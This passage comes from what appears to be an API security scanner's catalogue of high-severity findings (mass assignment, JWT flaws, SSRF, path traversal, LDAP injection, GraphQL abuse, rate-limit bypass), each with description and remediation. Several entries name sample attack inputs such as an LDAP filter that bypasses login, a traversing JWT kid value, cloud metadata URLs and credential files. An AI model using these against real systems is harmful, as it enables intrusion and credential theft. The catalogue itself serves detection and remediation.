Description: The API response contains sensitive data including but not limited to: full payment card numbers or PAN data, government-issued ID numbers, medical or health records, private cryptographic material, authentication credentials, or other regulated/sensitive personal information. This data is returned as part of the standard API response to the client, creating unnecessary exposure. Even if HTTPS is in use, returning sensitive data to clients that do not need it violates data minimization principles and increases breach impact.
Remediation: Apply data minimization: only return the minimum data the client requires to fulfill its function. Mask or truncate sensitive fields (e.g., return last four digits of a card number only). Implement field-level access control so that sensitive fields are only returned to clients with explicit permission. Conduct a data sensitivity audit of all API response schemas against regulatory requirements (PCI-DSS, HIPAA, GDPR).
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A02:2021 Cryptographic Failures
OWASP API: API3:2023 Broken Object Property Level Authorization
HIGH SI-065 — Sensitive Authentication Headers Exposed in Response
Description: The API response headers expose sensitive authentication material such as internal API keys, bearer tokens, session identifiers, or HMAC signing secrets. These values may appear in custom response headers, debug headers, or be reflected back from request headers without sanitization. An attacker who can read response headers from any position in the network path (e.g., via a proxy, CDN logging, or XSS) can extract these credentials for further exploitation.
Remediation: Audit all API response headers and remove any that contain authentication credentials, tokens, or secrets. Ensure response headers are generated from server-side configuration, not by reflecting request headers. Review logging pipelines to ensure response headers containing credentials are not captured in logs. Rotate any credentials that have been exposed in response headers.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-066 — Missing Rate Limiting
Description: The API endpoint does not enforce any rate limiting on incoming requests. An attacker can send unlimited requests to this endpoint, enabling brute-force attacks against authentication endpoints, enumeration of valid resource IDs, credential stuffing attacks, scraping of all accessible data, or resource exhaustion (denial-of-service) through compute-intensive operations. The absence of rate limiting is particularly critical on authentication, password reset, OTP, and search endpoints.
Remediation: Implement rate limiting on all API endpoints, with stricter limits on authentication-related endpoints. Define rate limit policies based on IP address, API key, and authenticated user. Return 429 Too Many Requests with a Retry-After header when limits are exceeded. Use a rate limiting middleware or API gateway feature rather than application-level implementation. Implement exponential backoff enforcement for repeated authentication failures.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MITRE ATT&CK: T1499 (Impact)
NIST 800-53: SC-5, CM-6
PCI DSS 4: 6.2.4
HIGH SI-067 — Rate Limit Bypass — Unauthenticated Session Has Separate Bucket
Description: Siphon confirmed a rate limit bypass where requests made without authentication (or with a different credential type) are tracked in a separate rate limit bucket from authenticated requests. An attacker can exploit this by alternating between authenticated and unauthenticated sessions, or by registering multiple accounts to obtain separate rate limit buckets. This effectively multiplies the number of attempts available, enabling brute-force or credential stuffing attacks that would otherwise be blocked by per-credential rate limits.
Remediation: Implement rate limiting that aggregates request counts by IP address regardless of authentication state. Ensure that unauthenticated requests to sensitive endpoints (login, password reset, OTP) are subject to strict rate limits. Track failed authentication attempts by IP address and target account, locking or challenging both dimensions when thresholds are exceeded.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-068 — Rate Limit Bypass via X-Forwarded-For Header
Description: Siphon confirmed that the API's rate limiting can be bypassed by injecting arbitrary IP addresses into the X-Forwarded-For, X-Real-IP, or CF-Connecting-IP headers. The application trusts these headers unconditionally and uses the value as the client IP for rate limit bucket assignment. An attacker can rotate the X-Forwarded-For value on each request to bypass per-IP rate limits entirely, enabling unlimited brute-force and enumeration attacks.
Remediation: Do not use untrusted client-supplied IP headers for rate limiting or security enforcement. Only extract the real client IP from X-Forwarded-For when the request originates from a trusted proxy or load balancer (validate by source IP). Configure the proxy to set the client IP header and strip any client-supplied values before forwarding. Use the connection IP (socket-level IP) when no trusted proxy layer is present.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-069 — Mass Assignment Vulnerability
Description: Siphon confirmed a mass assignment vulnerability where injecting undocumented fields (e.g., role, isAdmin, accountBalance, verified, subscription_tier) in the API request body results in those fields being written to the underlying data model. The application binds request body parameters directly to model objects without an explicit allowlist. An attacker can escalate privileges, modify protected fields, or alter business-critical data by including these fields in standard API requests.
Impact: By submitting properties the client should never control, an attacker overwrites server-side state such as roles, ownership, balances or verification flags, escalating privileges or tampering with business-critical data directly through the normal API.
Remediation: Never bind request body data directly to model objects. Use Data Transfer Objects (DTOs) with explicit field mappings for each endpoint. Implement an allowlist of fields that each endpoint is permitted to modify. Mark sensitive model fields (role, isAdmin, balance) with @ReadOnly or equivalent annotations to prevent them from being modified via API binding. Conduct a full audit of all PATCH and PUT endpoints.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
MITRE ATT&CK: T1078 (Privilege Escalation)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
HIGH SI-070 — JWT Uses Insecure Algorithm
Description: The API issues or accepts JWTs using an algorithm that provides insufficient security guarantees. This includes weak algorithms such as RS256 with small key sizes, or algorithms deprecated by current IETF guidance. Weak algorithm usage allows an attacker with sufficient compute resources to forge token signatures, enabling authentication bypass and privilege escalation. This finding excludes the 'none' algorithm (SI-077) and RS256-to-HS256 confusion (SI-071) which are covered separately.
Remediation: Use only NIST-approved and IETF-recommended JWT signing algorithms: RS256 or RS512 (RSA-PKCS1v15), ES256 or ES512 (ECDSA), or PS256 or PS512 (RSA-PSS). Ensure RSA keys are at least 2048 bits. Use an allowlist of permitted algorithms in the JWT validation library and reject tokens signed with any other algorithm. Rotate signing keys annually or when compromise is suspected.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-071 — JWT kid Header Path Traversal
Description: The JWT kid (key ID) header parameter is used by the server to locate the signing key on the filesystem, and the server does not sanitize path traversal sequences in the kid value. An attacker can craft a JWT with a kid value like '../../dev/null' to cause the server to use an empty or predictable file as the signing key, then forge a valid JWT signature using that key. If the server uses the kid to construct a filesystem path, path traversal can redirect it to an attacker-controlled key file.
Remediation: Validate the kid header against an allowlist of known key identifiers before using it to locate keys. Never use the kid value directly in filesystem path construction. Store keys in a key management system or in-memory key store rather than on the filesystem. Sanitize all path traversal sequences from kid values before any processing.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-072 — JWT Token Not Invalidated After Logout
Description: Siphon confirmed that a JWT obtained before calling the logout endpoint remains valid and accepted by the API after the logout call completes. The API relies solely on the JWT's expiry (exp) claim for invalidation and does not maintain a server-side revocation list or blocklist. An attacker who obtains a victim's JWT (via XSS, network interception, log leakage, or device theft) can continue using the token until it naturally expires, even after the victim has logged out and changed their password.
Remediation: Implement server-side JWT revocation by maintaining a blocklist of invalidated token JTI (JWT ID) values, or by using a short token lifetime combined with a reference token pattern (opaque tokens that can be instantly revoked). Issue all JWTs with a unique jti claim and store active jti values in a cache (Redis) that is checked on each request. Alternatively, use opaque session tokens instead of JWTs when instant revocation is required.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-073 — CORS — Reflected Origin with Credentials
Description: The API reflects the incoming request's Origin header directly in the Access-Control-Allow-Origin response header and sets Access-Control-Allow-Credentials: true. This effectively grants every domain in the world credentialed cross-origin access to the API. An attacker-controlled page can make credentialed cross-origin requests to the API and read the response, enabling session hijacking, account data exfiltration, and authenticated actions performed on behalf of the victim without their knowledge.
Remediation: Implement an explicit allowlist of trusted origins and only reflect the Origin header in CORS responses when the requesting origin is in the allowlist. Never reflect arbitrary origins when Access-Control-Allow-Credentials is true. Validate the allowlist server-side on every cross-origin request. Regularly audit the CORS allowlist to ensure no untrusted domains have been added.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-074 — Reflected Cross-Site Scripting (XSS)
Description: Siphon confirmed a reflected Cross-Site Scripting (XSS) vulnerability where user-supplied input from an API parameter is reflected in an HTML response without encoding or sanitization. An attacker can craft a malicious URL containing a script payload and trick a user into clicking it, causing the script to execute in the victim's browser in the context of the application origin. This enables session hijacking, credential theft, keylogging, and arbitrary actions performed as the victim.
Remediation: Apply context-appropriate output encoding to all user-supplied data reflected in HTML responses. Use a security-focused templating engine that provides automatic escaping. Implement a strict Content-Security-Policy to mitigate XSS exploitation even if encoding is bypassed. Set the HttpOnly flag on session cookies. Validate and sanitize all input server-side before reflecting it in any response.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1189 (Initial Access), T1059.007 (Execution)
NIST 800-53: SI-10, SC-18
PCI DSS 4: 6.2.4
HIGH SI-076 — GraphQL Batch Query Attack Possible
Description: The GraphQL API accepts batched queries — multiple operations in a single HTTP request submitted as a JSON array. An attacker can use this to bypass rate limiting by packing thousands of operations into a single request, enumerate sensitive data efficiently, or perform brute-force attacks against authentication mutations within a single connection. Since most rate limiting implementations count HTTP requests rather than GraphQL operations, batching multiplies the effective request rate by the batch size.
Remediation: Disable query batching if not required by any legitimate client. If batching is needed, implement a maximum batch size limit (e.g., 10 operations per request). Ensure rate limiting counts individual GraphQL operations within batches rather than HTTP requests. Monitor for unusually large batched requests as an indicator of abuse.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-077 — GraphQL Query Depth Attack
Description: The GraphQL API accepts deeply nested queries without enforcing a maximum query depth limit. An attacker can submit a deeply recursive query that causes the resolver chain to execute exponentially more database queries or CPU work than a shallow query. For example, a query asking for user's friends' friends' friends' posts' comments' authors (10+ levels deep) can result in N^10 database queries. This is a reliable denial-of-service vector available to any client with API access.
Remediation: Implement a maximum query depth limit in the GraphQL execution engine (recommended: 10-15 levels maximum depending on schema). Use a query complexity analysis library to assign cost scores to fields and reject queries exceeding the complexity budget. Apply query timeout limits as an additional safeguard. Use query cost analysis to account for relationship traversal cost.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-078 — SOAP Injection — Parameter Reflected or Error Triggered
Description: Siphon detected that SOAP API parameters reflect injected XML content in the response or trigger parser errors indicative of XML injection. SOAP injection allows an attacker to inject additional XML elements, close existing tags, or inject new SOAP body elements. Successful SOAP injection can bypass authentication, modify business logic, extract data from the SOAP response, or trigger XML processing vulnerabilities (XXE) depending on the XML parser configuration.
Remediation: Validate and sanitize all SOAP parameter values before XML processing. Encode special XML characters (<, >, &, ', ") in user-supplied values. Use parameterized SOAP processing rather than string concatenation to construct SOAP messages. Disable external entity processing (XXE) in the XML parser. Validate incoming SOAP messages against a strict XSD schema.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-079 — SSRF via API Parameter
Description: Siphon confirmed a Server-Side Request Forgery (SSRF) vulnerability where a URL supplied in an API parameter causes the server to make an HTTP request to the specified URL. An attacker can exploit this to reach internal services not accessible from the internet, probe internal network topology, access cloud instance metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/ for AWS credentials), access localhost services, or potentially achieve remote code execution via SSRF chains.
Impact: An attacker coerces the server into making requests to internal-only services and cloud metadata endpoints, exposing internal APIs, admin panels and short-lived cloud IAM credentials, and providing a pivot to reach systems unreachable from the internet — frequently escalating to full cloud-account compromise.
Remediation: Implement server-side URL validation against a strict allowlist of permitted schemes and destination hostnames before making any outbound request. Block requests to private IP ranges, loopback addresses, link-local addresses (169.254.x.x), and cloud metadata endpoints. Use a DNS resolution step to resolve the hostname and verify the resulting IP is not in a blocked range. Implement outbound firewall rules to prevent the application server from reaching internal services. Log all outbound HTTP requests.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
OWASP Web: A10:2021 Server-Side Request Forgery
OWASP API: API7:2023 Server Side Request Forgery
HIGH SI-080 — Business Flow — Workflow Step Directly Accessible
Description: Siphon confirmed that a step in a multi-stage business workflow (e.g., checkout confirmation, order completion, password reset confirmation, OTP verification success) can be accessed directly without completing the preceding steps. The API does not enforce workflow state on the server side, relying instead on the client to follow the correct sequence. An attacker can skip prerequisite steps such as payment verification or identity verification by directly calling the completion endpoint.
Remediation: Implement server-side workflow state management that tracks the current state of each session's progress through multi-step processes. Require prerequisite steps to be completed and validated before allowing access to subsequent steps. Use server-side session tokens to track workflow state rather than trusting client-supplied step indicators. Implement transaction-level validation that verifies all prerequisite conditions are met before committing the final step.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
HIGH SI-081 — Business Flow — Race Condition (Duplicate Operation)
Description: Siphon confirmed a race condition vulnerability where submitting the same API operation multiple times in parallel results in the operation being executed more than once. Examples include: a referral bonus being credited multiple times, a one-time discount being applied to multiple orders, a withdrawal exceeding the account balance when concurrent requests are processed, or a promotional code being redeemed multiple times. The application checks the constraint and performs the action in separate non-atomic operations, creating a TOCTOU (Time-of-Check to Time-of-Use) window.
Remediation: Implement atomic database operations or database-level constraints (unique indexes, SELECT FOR UPDATE, serializable transactions) to prevent duplicate execution. Use distributed locks (Redis, database advisory locks) for operations that must not be executed concurrently for the same resource. Implement idempotency keys for all state-changing API operations. Add application-level duplicate detection based on request signatures or operation IDs.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N
OWASP Web: A04:2021 Insecure Design
OWASP API: API6:2023 Unrestricted Access to Sensitive Business Flows
HIGH SI-082 — Business Flow — Bulk Endpoint Accepts Unrestricted Batch Size
Description: The API exposes a bulk operation endpoint that accepts an array of items without enforcing a maximum batch size limit. An attacker can submit a single request with tens of thousands of items, causing the server to perform excessive database operations, computation, or outbound calls proportional to the batch size. This can be used for targeted denial-of-service, resource exhaustion attacks, or mass data manipulation in a single authenticated request.
Remediation: Implement a maximum batch size limit on all bulk endpoints (e.g., 100-1000 items per request depending on operation cost). Return 400 Bad Request or 413 Payload Too Large when the limit is exceeded. Implement asynchronous processing for large batches with job-based status tracking rather than synchronous processing. Apply rate limiting at the operation level, not just the HTTP request level.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
OWASP API: API4:2023 Unrestricted Resource Consumption
HIGH SI-095 — Path Traversal / Local File Inclusion in API
Description: Siphon confirmed a path traversal vulnerability where a filename or path parameter in the API is used to read files from the server filesystem without adequate sanitization. By injecting '../' sequences, an attacker can read files outside the intended directory, including /etc/passwd, /etc/shadow, application configuration files containing database credentials and API keys, private keys, and other sensitive system files. Depending on the application's OS privileges and filesystem permissions, this may provide access to any file readable by the web process.
Remediation: Validate all file path inputs against a strict allowlist of permitted filenames or paths. Use a canonical path resolution function (realpath(), Path.resolve()) to normalize the path and verify it begins with the expected base directory before any file access. Never concatenate user input directly into filesystem paths. Implement OS-level filesystem isolation (chroot, container volumes) to prevent access outside the intended directory.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1083 (Discovery), T1190 (Initial Access)
NIST 800-53: AC-3, SI-10
PCI DSS 4: 6.2.4
CISA KEV
HIGH SI-096 — LDAP Injection in API Parameter
Description: Siphon confirmed an LDAP injection vulnerability where user-supplied input is incorporated into an LDAP query without sanitization. An attacker can inject LDAP filter metacharacters (*, (, ), \, null bytes) to modify query logic, bypass authentication, or enumerate LDAP directory contents. For example, injecting '*)(uid=*)' into a username field can match all LDAP entries, bypassing authentication. LDAP injection can expose organizational directory data including user accounts, group memberships, email addresses, and phone numbers.
Remediation: Implement LDAP input validation that escapes all LDAP special characters in user-supplied values. Use framework-provided LDAP query parameterization where available. Validate that usernames conform to an expected format (alphanumeric with allowed characters only) before constructing LDAP queries. Apply the principle of least privilege to the LDAP service account: it should have read-only access to only the attributes required by the application.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A03:2021 Injection
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access), T1110 (Credential Access)
NIST 800-53: SI-10
PCI DSS 4: 6.2.4
HIGH SI-101 — GraphQL Introspection Enabled (Production)
Description: The GraphQL API has introspection enabled in what appears to be a production environment (based on the target scope or deployment indicators). Introspection allows any client to enumerate the complete API schema including all types, fields, mutations, subscriptions, argument names and types, and field deprecation status. This provides an attacker with a complete and accurate map of the entire API surface without any prior knowledge, enabling systematic testing of every field and mutation for vulnerabilities.
Remediation: Disable GraphQL introspection in production. Configure the GraphQL server to reject __schema and __type queries in non-development environments. Use environment variables to control introspection availability. If schema access is needed by internal tooling, restrict it via authentication and IP allowlist rather than leaving it publicly accessible.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
HIGH SI-102 — WS-Addressing ReplyTo/FaultTo Header Accepted (SSRF Risk)
Description: Siphon detected that the SOAP API accepts WS-Addressing headers (wsa:ReplyTo or wsa:FaultTo) containing attacker-controlled URLs and the server makes outbound requests to those addresses when processing the response or fault dispatch. WS-Addressing is a SOAP standard that specifies where reply messages and fault messages should be delivered; when the server honours arbitrary external URLs in these headers it is trivially exploitable as a Server-Side Request Forgery vector. An attacker can direct the server to fetch arbitrary internal or external resources, probe internal network services not exposed to the internet, access cloud metadata endpoints (e.g., 169.254.169.254/latest/meta-data/), or exfiltrate responses to an attacker-controlled listener. Because the SSRF originates from the server's network context it can bypass perimeter firewalls and reach services that are otherwise unreachable from the public internet.
Remediation: Validate the wsa:ReplyTo and wsa:FaultTo endpoint addresses against a strict allowlist of permitted destinations before dispatching any outbound message. Block all private IP ranges (RFC 1918: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback (127.0.0.0/8), and link-local (169.254.0.0/16) addresses at the HTTP client layer. Prefer an asynchronous reply model where responses are delivered over the same connection rather than via caller-supplied endpoints. If WS-Addressing reply-to support is not a business requirement, disable the feature entirely in the SOAP stack configuration.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
OWASP Web: A10:2021 Server-Side Request Forgery
OWASP API: API7:2023 Server Side Request Forgery
MITRE ATT&CK: T1090 (Command and Control)
NIST 800-53: SI-10, CA-9, SC-7
PCI DSS 4: 6.2.4
HIGH SI-105 — Unsafe API Consumption — Webhook URL Accepted (SSRF Risk)
Description: Siphon confirmed that the API accepts a caller-supplied URL in a webhook registration or callback parameter and the server makes outbound HTTP requests to that URL without validating it against a safe destination allowlist. This constitutes a Server-Side Request Forgery (SSRF) vulnerability where an attacker can cause the API server to fetch arbitrary internal resources, probe internal network topology, query cloud instance metadata endpoints (e.g., AWS 169.254.169.254, GCP metadata.google.internal), or exfiltrate sensitive environment data to an external listener. SSRF via webhook URLs is particularly impactful because the server's outbound request carries the server's own network identity and may reach services that are inaccessible from the public internet.
Remediation: Validate all webhook and callback URLs against a strict allowlist of permitted schemes (HTTPS only), domain suffixes, and IP ranges before any outbound connection is made. Block requests to private IP ranges (RFC 1918), loopback addresses, link-local ranges, and cloud metadata IP addresses at the HTTP client layer. Perform DNS resolution server-side and verify the resolved IP is not in a blocked range (DNS rebinding defence). If external webhook delivery is a feature requirement, perform an initial probe of the URL before registering it and enforce a retry-limit with exponential backoff.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A10:2021 Server-Side Request Forgery
OWASP API: API7:2023 Server Side Request Forgery
MITRE ATT&CK: T1090.002 (Command and Control)
NIST 800-53: SI-10, SC-7, CA-9
PCI DSS 4: 6.2.4
HIGH SI-107 — Unsafe API Consumption — Serialization Markers in Response
Description: Siphon detected serialization markers in the API response body that indicate the application is transmitting serialized objects across the API boundary. Language-native serialization formats identified may include Java serialized objects (magic bytes 0xAC 0xED), Python pickle data, PHP serialization syntax (O:, a:, s:), Ruby Marshal data, .NET BinaryFormatter output, or YAML/XML with type annotations. If a downstream service or client deserializes this data without validation, an attacker who can influence the serialized content may be able to trigger gadget chain execution, leading to remote code execution, denial-of-service, or authentication bypass. Even read-only exposure of serialized objects leaks internal class names, field names, and object graph structure.
Remediation: Replace language-native serialization with a data-format-neutral representation (JSON, Protobuf, MessagePack) for all data transmitted across API boundaries. If serialization is required, implement a strict type allowlist in the deserializer so only expected types can be instantiated. Sign all serialized payloads with a server-side HMAC and verify the signature before deserialization to detect tampering. Audit all API response bodies for serialization format markers and eliminate unnecessary exposure of internal object representations.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
OWASP Web: A08:2021 Software and Data Integrity Failures
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1059 (Execution)
NIST 800-53: SI-10, SA-11
PCI DSS 4: 6.2.4
HIGH SI-109 — Sensitive File Exposed
Description: Siphon discovered that the API server exposes a sensitive file at a publicly accessible path without authentication. Sensitive files commonly exposed through API or web server misconfigurations include environment files (.env, .env.production), backup archives (.bak, .zip, .tar.gz), configuration files (config.yml, database.yml, settings.py, web.config), source code repositories (.git/config, .svn/entries), private keys and certificates (.pem, .key, id_rsa), dependency lock files (package-lock.json, Gemfile.lock), and development credentials. Exposure of these files can directly reveal database credentials, API keys, internal hostnames, cryptographic material, and application source code, enabling further targeted attacks against the system.
Remediation: Remove all sensitive files from any directory served by the web or API server. Configure the server to return 403 or 404 for known sensitive file extensions and paths (.env, .git, .bak, .key, .pem). Implement a server-level allowlist of permitted static file types rather than a denylist. Audit the API server's document root and all static directories for sensitive file exposure using automated tools. Ensure deployment pipelines do not copy development configuration files, credentials, or version control metadata to production server directories.
Effort: Low
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A05:2021 Security Misconfiguration
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1552.001 (Credential Access)
NIST 800-53: CM-6, CM-7
PCI DSS 4: 3.4.1
HIGH SI-113 — Unauthenticated Access to Endpoint
Description: Siphon confirmed that an API endpoint which is expected to require authentication returns a successful non-error response to an unauthenticated request (one containing no Authorization header, no session cookie, and no API key). The endpoint may return data belonging to a specific user, return aggregate data, or perform operations that should require an authenticated context. Unlike a complete authentication enforcement absence (SI-083), this finding may affect a subset of endpoints or specific HTTP methods where the authentication middleware is missing or bypassed. Unauthenticated access to any endpoint that handles user data or performs state-changing operations represents a direct breach of the application's security model.
Remediation: Apply authentication middleware as a mandatory, default requirement on all API routes. Adopt a secure-by-default posture where every new route requires explicit opt-out from authentication rather than opt-in. Audit all API routes for endpoints that return 2xx responses to requests without valid credentials. Perform automated regression testing that asserts all non-public endpoints return 401 or 403 when called without authentication. Remove any route-specific authentication bypass rules that are not essential for publicly documented anonymous functionality.
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2021 Identification and Authentication Failures
OWASP API: API2:2023 Broken Authentication
HIGH SI-114 — Missing Rate Limit on Sensitive Endpoint
Description: Siphon confirmed that an API endpoint handling a sensitive operation — such as authentication, password reset, OTP validation, account recovery, or payment processing — does not enforce any rate limiting on incoming requests. While general rate limiting may be absent across all endpoints, the absence of rate limiting specifically on sensitive endpoints is higher-severity because these endpoints are primary targets for brute-force credential attacks, account enumeration, OTP bypass, and API abuse. An attacker can issue unlimited automated requests against these endpoints without encountering any throttling, lockout, or challenge mechanism.
Remediation: Implement strict, dedicated rate limiting on all sensitive API endpoints, independent of any global rate limiting policy. Authentication endpoints should enforce per-IP limits (e.g., 5 attempts per minute) combined with per-account limits (e.g., 10 attempts per 15 minutes) with exponential backoff and account lockout or CAPTCHA challenge after threshold breach. OTP and password reset endpoints should enforce single-use token policies and short validity windows in addition to request rate limits. Return 429 Too Many Requests with a Retry-After header when limits are exceeded. Monitor sensitive endpoint access patterns for burst anomalies.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L
OWASP API: API4:2023 Unrestricted Resource Consumption
MITRE ATT&CK: T1499 (Impact)
NIST 800-53: SC-5, CM-6
PCI DSS 4: 6.2.4
HIGH SI-142 — WebSocket Handshake Accepts Arbitrary Origin (CSWSH Risk)
Description: The WebSocket handshake completed with an attacker-controlled Origin header and without credentials, indicating the server does not validate the Origin during the upgrade.
Impact: If the socket is authenticated via cookies, a malicious web page can open an authenticated WebSocket to the target on the victim's behalf (Cross-Site WebSocket Hijacking), reading and sending messages as the victim and exfiltrating data or performing privileged actions.
Remediation: Validate the Origin header against a strict allowlist during the handshake and require a session-bound authentication token rather than relying on ambient cookies.
Effort: Moderate
OWASP API: API2:2023 Broken Authentication
HIGH SI-151 — JWT Scope/Claim Manipulation Accepted
Description: The server accepted a JWT with modified scope, role, or permission claims without rejecting the tampered token. This indicates the server does not independently validate JWT claims against the authorization database, allowing privilege escalation through token manipulation.
Impact: An attacker can escalate privileges by modifying JWT claims (scope, role, permissions) to gain administrative or higher-privilege access. This bypasses authorization controls entirely, granting access to sensitive data and destructive operations.
Remediation: Validate all JWT claims server-side against the authorization database. Never trust client-provided scope/role claims. Use signed, opaque tokens or verify claim integrity with asymmetric signatures.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
OWASP API: API1:2023 Broken Object Level Authorization
MITRE ATT&CK: T1548 (Privilege Escalation)
NIST 800-53: AC-6, AC-3
PCI DSS 4: 7.2.1
HIGH SI-156 — Bearer Token Transmitted in URL Query Parameter
Description: Authentication tokens (access_token, bearer, jwt) are transmitted in URL query parameters rather than in headers or cookies.
Impact: Tokens in URLs leak via HTTP Referer headers to third-party sites, appear in server access logs, proxy logs, browser history, and any URL-sharing mechanism. An attacker accessing any of these can hijack the user's session.
Remediation: Transmit authentication tokens in the Authorization header or as HttpOnly cookies. Never pass tokens in URL query parameters.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identity and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1528 (Credential Access)
NIST 800-53: SC-8
HIGH SI-157 — Information Disclosure: API Key in URL Query Parameter
Description: API keys are transmitted in URL query parameters (api_key, apiKey, client_secret, etc.) rather than in headers.
Impact: API keys in URLs leak via Referer headers, server access logs, proxy logs, and browser history. An attacker with a leaked API key gains the same API access level as the legitimate client.
Remediation: Transmit API keys in a custom header (e.g. X-API-Key) or the Authorization header. Avoid URL query parameters for secrets.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
NIST 800-53: SC-8
HIGH SI-158 — Session Token Not Rotated After Authentication
Description: The session cookie retains the same value before and after authentication. An attacker who sets a pre-authentication session cookie can hijack the victim's authenticated session.
Impact: An attacker can set a known session token in the victim's browser (via XSS, subdomain cookie injection, or URL parameter) before the victim logs in. After login, the session token remains the same, giving the attacker a fully authenticated session.
Remediation: Regenerate the session ID on every privilege-level change (login, logout, role escalation). Invalidate the old session immediately.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP Web: A07:2025 Identity and Authentication Failures
OWASP API: API2:2023 Broken Authentication
MITRE ATT&CK: T1563 (Lateral Movement)
NIST 800-53: AC-12, SC-23
PCI DSS 4: 6.2.4
HIGH SS-073 — Unauthenticated CouchDB Access
Description: CouchDB allows unauthenticated access to the /_all_dbs endpoint, revealing the list of all databases on the server.
Impact: An attacker can enumerate all databases, read sensitive data, modify or delete documents, and potentially achieve remote code execution via CouchDB's query server functionality.
Remediation: Configure CouchDB to require authentication for all endpoints. Set require_valid_user = true in the [chttpd] section of local.ini.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
OWASP API: API8:2023 Security Misconfiguration
MITRE ATT&CK: T1190 (Initial Access)
NIST 800-53: AC-3, IA-2
PCI DSS 4: 7.1.1
CISA KEV
HIGH SS-074 — Grafana Unauthenticated API Access
Description: Grafana allows unauthenticated access to API endpoints such as /api/org, exposing organization details, dashboards, and data sources.
